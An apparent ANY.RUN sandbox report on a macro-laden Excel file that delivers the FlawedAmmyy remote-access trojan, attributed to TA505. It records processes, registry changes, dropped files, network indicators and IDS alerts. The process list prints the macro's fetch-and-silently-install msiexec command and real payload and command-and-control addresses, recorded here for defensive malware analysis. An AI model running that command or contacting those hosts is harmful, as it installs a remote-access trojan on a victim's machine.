File name:

20180423 출납일보.xls

Full analysis: https://app.any.run/tasks/12ade6c6-018e-49f5-a80d-f5d51804adbc
Verdict: Malicious activity
Threats:

FlawedAmmmyy is a RAT type malware that can be used to perform actions remotely on an infected PC. This malware is well known for being featured in especially large campaigns with wide target demographics.

Analysis date: April 24, 2019, 01:34:24
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
exe-to-msi
loader
rat
flawedammyy
ammyy
trojan
ta505
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Tue Apr 23 18:44:49 2019, Security: 0
MD5:

8ACF6C9298C8D9553A9F320AEB24D9C7

SHA1:

32D1EF20E74309A1E31A63E5B63DECECC33BC04C

SHA256:

E82DB6A27D20F09E3023FE4D2D4A5F1BA0C2CDE7E88BCFB158244919E805E0ED

SSDEEP:

3072:uKpb8rGYrMPelwhKmFV5xtezEsgrdgncwPWsqPJjRpQAJr9FuPY9BF:uKpb8rGYrMPelwhKmFV5xtuEsgrdgn6/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Uses Microsoft Installer as loader

      • EXCEL.EXE (PID: 3352)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 2072)
    • Application was dropped or rewritten from another process

      • wsus.exe (PID: 1248)
      • wsus.exe (PID: 1184)
    • Downloads executable files from IP

      • msiexec.exe (PID: 2072)
    • Loads the Task Scheduler COM API

      • MSI7573.tmp (PID: 3160)
    • Changes the autorun value in the registry

      • MSI7573.tmp (PID: 3160)
    • FLAWEDAMMYY was detected

      • wsus.exe (PID: 1248)
    • Loads the Task Scheduler DLL interface

      • MSI7573.tmp (PID: 3160)
    • Connects to CnC server

      • wsus.exe (PID: 1248)
    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3352)
  • SUSPICIOUS

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 2072)
    • Creates files in the program directory

      • MSI7573.tmp (PID: 3160)
    • Starts CMD.EXE for commands execution

      • MSI7573.tmp (PID: 3160)
    • Creates files in the Windows directory

      • MSI7573.tmp (PID: 3160)
    • Executable content was dropped or overwritten

      • MSI7573.tmp (PID: 3160)
      • msiexec.exe (PID: 2072)
  • INFO

    • Starts application with an unusual extension

      • msiexec.exe (PID: 2072)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 2072)
    • Application was dropped or rewritten from another process

      • MSI7573.tmp (PID: 3160)
    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3352)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

Author: Microsoft Office
LastModifiedBy: 1
Software: Microsoft Excel
CreateDate: 2018:12:19 10:42:12
ModifyDate: 2019:04:23 17:44:49
Security: None
CodePage: Windows Cyrillic
Company: Microsoft Corporation
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
  • 4
  • OOOO
  • 2
  • 3
HeadingPairs:
  • Листы
  • 2
  • Макросы Excel 4.0
  • 2
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
8
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start excel.exe no specs msiexec.exe no specs msiexec.exe msi7573.tmp #FLAWEDAMMYY wsus.exe cmd.exe no specs wsus.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1184"C:\ProgramData\Microsofts HeIp\wsus.exe" C:\ProgramData\Microsofts HeIp\wsus.exetaskeng.exe
User:
admin
Company:
Gravity
Integrity Level:
MEDIUM
Description:
Gravity Protect
Exit code:
0
Version:
7.3.1.1
Modules
Images
c:\programdata\microsofts heip\wsus.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\winscard.dll
c:\windows\system32\ws2_32.dll
1248"C:\ProgramData\Microsofts HeIp\wsus.exe"C:\ProgramData\Microsofts HeIp\wsus.exe
MSI7573.tmp
User:
admin
Company:
Gravity
Integrity Level:
MEDIUM
Description:
Gravity Protect
Exit code:
0
Version:
7.3.1.1
Modules
Images
c:\programdata\microsofts heip\wsus.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\winscard.dll
c:\windows\system32\ws2_32.dll
2072C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2220"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI7573.tmp >> NULC:\Windows\system32\cmd.exeMSI7573.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2672"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI7573.tmp >> NULC:\Windows\system32\cmd.exeMSI7573.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3012msiexec.exe STOP=1 /i http://27.102.118.143/dom1 /q ksw='%TEMP%' C:\Windows\system32\msiexec.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3160"C:\Windows\Installer\MSI7573.tmp"C:\Windows\Installer\MSI7573.tmp
msiexec.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\windows\installer\msi7573.tmp
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winspool.drv
3352"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
Total events
820
Read events
737
Write events
64
Delete events
19

Modification events

(PID) Process:(3352) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName::4:
Value:
3A343A00180D0000010000000000000000000000
(PID) Process:(3352) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3352) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(3352) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:writeName:MTTT
Value:
180D000068DBD5E13DFAD40100000000
(PID) Process:(3352) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete valueName::4:
Value:
3A343A00180D0000010000000000000000000000
(PID) Process:(3352) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete keyName:
Value:
(PID) Process:(3352) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:delete keyName:
Value:
(PID) Process:(3352) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(3352) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(3352) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\1068DE
Operation:writeName:1068DE
Value:
04000000180D00003B00000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0032003000310038003000340032003300200020000E116E11AF1102116111B8110B117511AF11071169112E0078006C007300000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0001000000000000004040E3E23DFAD401DE681000DE68100000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Executable files
3
Suspicious files
6
Text files
9
Unknown types
3

Dropped files

PID
Process
Filename
Type
3352EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR643A.tmp.cvr
MD5:
SHA256:
2072msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF3FA8EA9E087FE1AA.TMP
MD5:
SHA256:
2072msiexec.exeC:\Config.Msi\107469.rbs
MD5:
SHA256:
2072msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF1E600885A8B2CA31.TMP
MD5:
SHA256:
2072msiexec.exeC:\Windows\Installer\MSI6FA4.tmpexecutable
MD5:
SHA256:
2072msiexec.exeC:\Users\admin\AppData\Local\Temp\History\History.IE5\index.datdat
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862
SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A
3160MSI7573.tmpC:\ProgramData\Microsofts HeIp\wsus.exeexecutable
MD5:
SHA256:
3160MSI7573.tmpC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\1[1].tmpbinary
MD5:
SHA256:
2072msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.datdat
MD5:
SHA256:
2072msiexec.exeC:\Windows\Installer\107468.ipibinary
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
4
DNS requests
2
Threats
8

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2072
msiexec.exe
GET
200
27.102.118.143:80
http://27.102.118.143/dom1
KR
executable
156 Kb
suspicious
3160
MSI7573.tmp
GET
200
160.202.162.147:80
http://160.202.162.147/1.tmp
KR
binary
627 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2072
msiexec.exe
27.102.118.143:80
DAOU TECHNOLOGY
KR
suspicious
3160
MSI7573.tmp
160.202.162.147:80
Korea Telecom
KR
suspicious
1248
wsus.exe
169.239.128.119:80
Zappie Host LLC
ZA
malicious

DNS requests

Domain
IP
Reputation
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

PID
Process
Class
Message
2072
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
2072
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
3160
MSI7573.tmp
A Network Trojan was detected
ET CURRENT_EVENTS MalDoc Request for Payload (TA505 Related)
1248
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT
1248
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] AMMYY RAT
1248
wsus.exe
A Network Trojan was detected
ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin
1248
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT Checkin
1 ETPRO signatures available at the full report
Process
Message
MSI7573.tmp
C:\ProgramData\Microsofts HeIp\template_118b318.DATAHASH
MSI7573.tmp
1